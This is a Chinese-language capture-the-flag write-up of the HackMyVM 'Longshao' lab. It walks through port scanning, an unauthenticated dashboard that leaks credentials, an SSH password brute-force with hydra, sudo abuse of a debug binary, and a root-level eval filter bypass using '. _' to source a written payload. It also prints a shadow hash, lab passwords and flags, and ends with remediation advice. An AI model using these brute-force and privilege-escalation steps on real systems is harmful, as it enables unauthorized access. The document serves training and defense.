跳到主要内容

HackMyVM Longshao 通关记录|未授权访问、弱口令、多级 sudo 与 dot source 提权

靶机链接:Longshao


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Longshao192.168.1.114Alpine Linux 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache确认 Web 是最适合优先检查的入口
Web 枚举/dashboard.php 返回 200找到未受登录保护的内部控制台
凭据泄露页面显示 baolong:jinhua获得第一个 SSH 账户
初始访问SSH 登录 baolong读取 User Flag,并枚举本地用户
弱口令验证chaojibaolong:love123进入第二层账户
第一段 sudocheck_parser 可免密码执行parser_core 在 root 上下文中运行
用户切换不存在的 /tmp/*.log 配合 --debugparser_core 执行 su - chaojiwudilong
第二段 sudoa.sh 可免密码执行获得 root 上下文中的输入执行点
过滤绕过. _ 加载 /tmp/_绕过字母、数字和斜杠过滤
Flag 收集user.txtroot.txt完成靶机

0x02 侦察与信息收集 (Reconnaissance)

1. 端口与服务扫描

先使用 Nmap 扫描全部 TCP 端口,同时进行服务版本、默认脚本和操作系统识别:

nmap -Pn -sT -p- --open -sV -sC -O 192.168.1.114 -oN nmap-fulltcp.txt

结果摘要:

端口状态服务指纹 / 备注
22/tcpopenSSHOpenSSH 10.3
80/tcpopenHTTPApache httpd 2.4.67 (Unix)

Nmap 还识别到 Web 页面标题:

Maze 内部管理系统 - 登录

2. 目录枚举

使用 Gobuster 扫描常见文件,并追加 PHP 扩展名:

gobuster dir \
-u http://192.168.1.114/ \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt,bak \
-o gobuster.txt

关键结果:

dashboard.php (Status: 200)
index.php (Status: 200)

这里最值得关注的是 dashboard.php200 表示服务器直接返回了页面,而不是跳转回登录页或返回 403 Forbidden


0x03 Web 未授权访问与初始权限

1. 直接访问内部控制台

无需登录,直接请求:

curl -s http://192.168.1.114/dashboard.php

页面中的关键内容:

运维紧急通知
为了方便后续信息审计,临时生成的后备堡垒机凭据如下:
SSH 凭据:baolong:jinhua

获得凭据:

用户名密码来源
baolongjinhua未授权访问的 dashboard.php

漏洞原理: 登录页面只保护了正常操作流程,但 dashboard.php 本身没有检查用户是否已经登录。攻击者知道页面地址后,可以绕过登录页直接打开后台。

2. SSH 初始访问

使用泄露的凭据登录:

ssh baolong@192.168.1.114
# Password: jinhua

登录后确认当前身份:

id
hostname

输出摘要:

uid=1000(baolong) gid=1000(baolong)
longshao.lan

Linux 中 uid=0 才是 root。现在的 uid=1000 表示我们只是普通用户,但已经获得了初始 Shell。

3. 获取 User Flag

cat /home/baolong/user.txt

User Flag:

flag{user-3408c2a9ca636da4a40f054eea401fd9}

4. 枚举本地用户

/etc/passwd 对普通用户可读,它记录的是账户基本信息,不是明文密码:

cat /etc/passwd

结果:

baolong:x:1000:1000::/home/baolong:/bin/bash
chaojibaolong:x:1001:1001::/home/chaojibaolong:/bin/bash
chaojiwudilong:x:1002:1002::/home/chaojiwudilong:/bin/bash

这一步发现了后续两个账户:

chaojibaolong
chaojiwudilong

继续查看可疑的内部程序:

ls -l /opt/internal/parser_core

权限信息显示该程序的所属组是 chaojibaolong

-rwxr-x--- 1 root chaojibaolong ... /opt/internal/parser_core

这说明 chaojibaolong 很可能是下一层关键账户,因此优先验证它的登录口令,而不是对所有系统用户无差别尝试。


0x04 第二层账户:chaojibaolong

1. 有限弱口令验证

为避免漫无目的地尝试,先截取 RockYou 的前 50000 条常用密码:

head -n 50000 /usr/share/wordlists/rockyou.txt > /tmp/rock50k.txt

使用已知用户名 chaojibaolong 进行有限验证:

hydra -l chaojibaolong \
-P /tmp/rock50k.txt \
-t 16 -f -I \
-o hydra-chao.txt \
ssh://192.168.1.114

参数含义:

参数含义
-l chaojibaolong固定用户名
-P /tmp/rock50k.txt使用指定密码字典
-t 16同时运行 16 个任务
-f找到一组有效凭据后停止
-I忽略旧恢复文件,开始本次任务
-o将结果保存到文件

命中结果:

[22][ssh] host: 192.168.1.114
login: chaojibaolong
password: love123

获得第二组凭据:

chaojibaolong:love123

2. 登录并检查 sudo 权限

ssh chaojibaolong@192.168.1.114
# Password: love123

检查当前用户能够通过 sudo 执行什么命令:

sudo -l

结果:

(ALL : ALL) NOPASSWD: /usr/local/bin/check_parser

这里有三个关键词:

  • sudo:以其他用户身份执行命令,默认目标通常是 root。
  • NOPASSWD:执行该命令时无需再次输入密码。
  • 固定路径:这里只允许执行 /usr/local/bin/check_parser,不是任意命令。

所以接下来要分析的重点是:能否通过控制 check_parser 的参数,让它替我们做额外操作。

3. 检查程序与关键字符串

ls -l /usr/local/bin/check_parser /opt/internal/parser_core
file /usr/local/bin/check_parser /opt/internal/parser_core
strings /opt/internal/parser_core | grep -E 'debug|\.log|/tmp|su|chaoji'

关键字符串:

--debug
.log
/tmp/
chaojiwudilong
/bin/su

动态测试和逆向分析确认,程序逻辑可以简化为:

1. 必须在 eUID 0 的上下文中运行;
2. 参数中的日志必须以 .log 结尾;
3. 日志路径必须位于 /tmp/;
4. 如果日志文件不存在并且启用 --debug;
5. 执行 /bin/su - chaojiwudilong。

sudo check_parser 正好满足第 1 条;而日志路径和 --debug 都由当前用户控制。

4. 触发调试模式切换用户

准备一个符合格式、但实际不存在的日志路径:

sudo /usr/local/bin/check_parser \
/tmp/definitely_missing_4711.log --debug

触发后程序执行:

/bin/su - chaojiwudilong

在新 Shell 中验证身份:

id

输出:

uid=1002(chaojiwudilong) gid=1002(chaojiwudilong)

也可以使用管道一次性验证:

printf 'id\nsudo -n -l\nexit\n' |
sudo /usr/local/bin/check_parser \
/tmp/definitely_missing_4711.log --debug

此时已经从 chaojibaolong 切换到了 chaojiwudilong


0x05 Root 权限提升 (Privilege Escalation)

1. 枚举 chaojiwudilong 的 sudo 权限

chaojiwudilong Shell 中执行:

sudo -l

结果:

(root) NOPASSWD: /usr/local/bin/a.sh

这表示该用户能够免密码、以 root 身份运行 /usr/local/bin/a.sh

2. 阅读 a.sh

cat /usr/local/bin/a.sh

脚本内容:

PATH=/usr/bin
cd /tmp
read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]")
eval "$CMD"

逐行解释:

  1. PATH=/usr/bin:把命令搜索路径固定为 /usr/bin
  2. cd /tmp:把当前目录切换到 /tmp
  3. head -n1:只读取输入的第一行。
  4. tr -d "[A-Za-z0-9/]":删除所有英文字母、数字和 /
  5. eval "$CMD":把过滤后的内容当作 Shell 命令执行。

直接输入以下命令不会成功:

/bin/bash
id
cat /root/root.txt

原因是字母、数字和斜杠都会被删除。但脚本仍然保留了:

. _

3. 理解 . _ 为什么有效

在 Shell 中,单独的点号 . 是一个内置命令,含义是:

. 文件名

它会在当前 Shell 中读取并执行指定文件。下划线 _ 可以作为文件名,而且不会被过滤器删除。

由于 a.sh 已经执行了:

cd /tmp

所以:

. _

实际等价于加载:

/tmp/_

a.sh 此时由 sudo 以 root 身份运行,因此 /tmp/_ 中的命令也会以 root 身份执行。

4. 编写 root 载荷文件

/tmp/_ 中写入要由 root 执行的命令:

cat > /tmp/_ <<'PAYLOAD'
/usr/bin/id >/tmp/root_id.txt
/bin/cat /root/root.txt >/tmp/root_flag.txt
/bin/chmod 644 /tmp/root_id.txt /tmp/root_flag.txt
PAYLOAD

这里没有把输出直接显示在终端,而是写到 /tmp 文件中。这种方式更稳定,也更方便验证执行结果。

5. 触发过滤绕过

. _ 送入 a.sh

printf '%s\n' '. _' | sudo -n /usr/local/bin/a.sh

过滤器处理后,. _ 仍然保持不变,于是 root Shell 加载并执行 /tmp/_

查看执行身份:

cat /tmp/root_id.txt

结果:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

uid=0(root) 证明已经实现 root 命令执行。

6. 获取 Root Flag

cat /tmp/root_flag.txt

Root Flag:

flag{root-e0bf0dabcccb7d4519c0ad4b431aff16}

0x06 口令来源复核

取得 root 后,可以读取 /etc/shadowchaojibaolong 的记录为:

chaojibaolong:$6$8FPVDnZHI0H80SWe$EnNqMmMonf0yoRU1kvl6HZ5Lb/fBaAQ6unuIoOMLJTTgq1yL6qoi/0RYzOQ7ANJefSMwPQnznQ76xjWmcDt/q0:20598::::::
哈希复核不是明文解密

其中 $6$ 表示 SHA-512 crypt,8FPVDnZHI0H80SWe 是盐值。口令哈希不是加密后的明文,不能直接“解密”。它的验证方式是:使用候选密码和相同盐值重新计算,再比较结果。

用已知候选值复算:

openssl passwd -6 -salt 8FPVDnZHI0H80SWe love123

结果与 /etc/shadow 完全一致,因此确认密码确实是:

love123

但这只是验证已知候选值,不是从哈希中无损还原明文。

root 权限下还有两种不需要原密码的操作:

# 直接切换账户,不显示原密码
su - chaojibaolong

# 重置为新密码,不恢复旧密码
passwd chaojibaolong

全面取证没有发现 love123 的明文副本,所以本题中可复现的原密码来源仍是有限字典命中。

另外,/root/pass.txt 中确实存在一条明文:

chaojiheianwudilong

但复算结果表明它匹配的是 root 账户的密码哈希,并不匹配 chaojibaolong。因此它不是 love123 的来源。


0x07 最终成果 (Final Flags)

User Flag

  • 路径: /home/baolong/user.txt
  • 内容: flag{user-3408c2a9ca636da4a40f054eea401fd9}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-e0bf0dabcccb7d4519c0ad4b431aff16}

凭据汇总

用户密码获取方式
baolongjinhuadashboard.php 未授权访问泄露
chaojibaolonglove123有限弱口令字典验证
chaojiwudilong不需要parser_core --debug 由 root 执行 su
root不需要a.sh. _ 过滤绕过

0x08 漏洞汇总与修复建议

风险漏洞影响修复建议
严重a.sh 对过滤结果使用 eval任意 root 命令执行删除 eval,改用固定功能和参数白名单
高危parser_core --debug 执行 su从指定账户切换到另一用户删除生产环境中的调试切换逻辑
高危check_parser 可免密码 sudo 执行为可控参数提供 root 上下文删除该 sudo 规则,或固定不可控参数
高危chaojibaolong 使用弱口令攻击者可登录 SSH更换长随机密码,优先使用 SSH 密钥
高危dashboard.php 缺少服务端鉴权后台内容和凭据直接泄露每个后台页面都验证 Session 和权限
中危页面保存明文运维凭据凭据泄露后可横向使用使用密码管理器或短期密钥,不在页面展示

复盘总结

Longshao 的难点不是单个复杂漏洞,而是把多个小问题连接起来:

  1. 登录页面不等于后台真的受保护,目录枚举发现了可直接访问的 dashboard.php
  2. 控制台把 SSH 凭据明文展示出来,因此取得 baolong 初始权限。
  3. /etc/passwd 暴露了后续用户名,弱口令 love123 让攻击者进入 chaojibaolong
  4. sudo -l 是每次获得新用户后都应执行的基础命令,它先后暴露了 check_parsera.sh 两个入口。
  5. parser_core 的调试模式把 root 上下文错误地用于用户切换,使攻击链到达 chaojiwudilong
  6. a.sh 虽然删除了字母、数字和斜杠,但黑名单没有考虑 Shell 内置命令;. _ 最终让 root 加载攻击者控制的文件。
  7. 成功提权后应使用 id 证明权限,再读取 Flag,最后删除测试文件。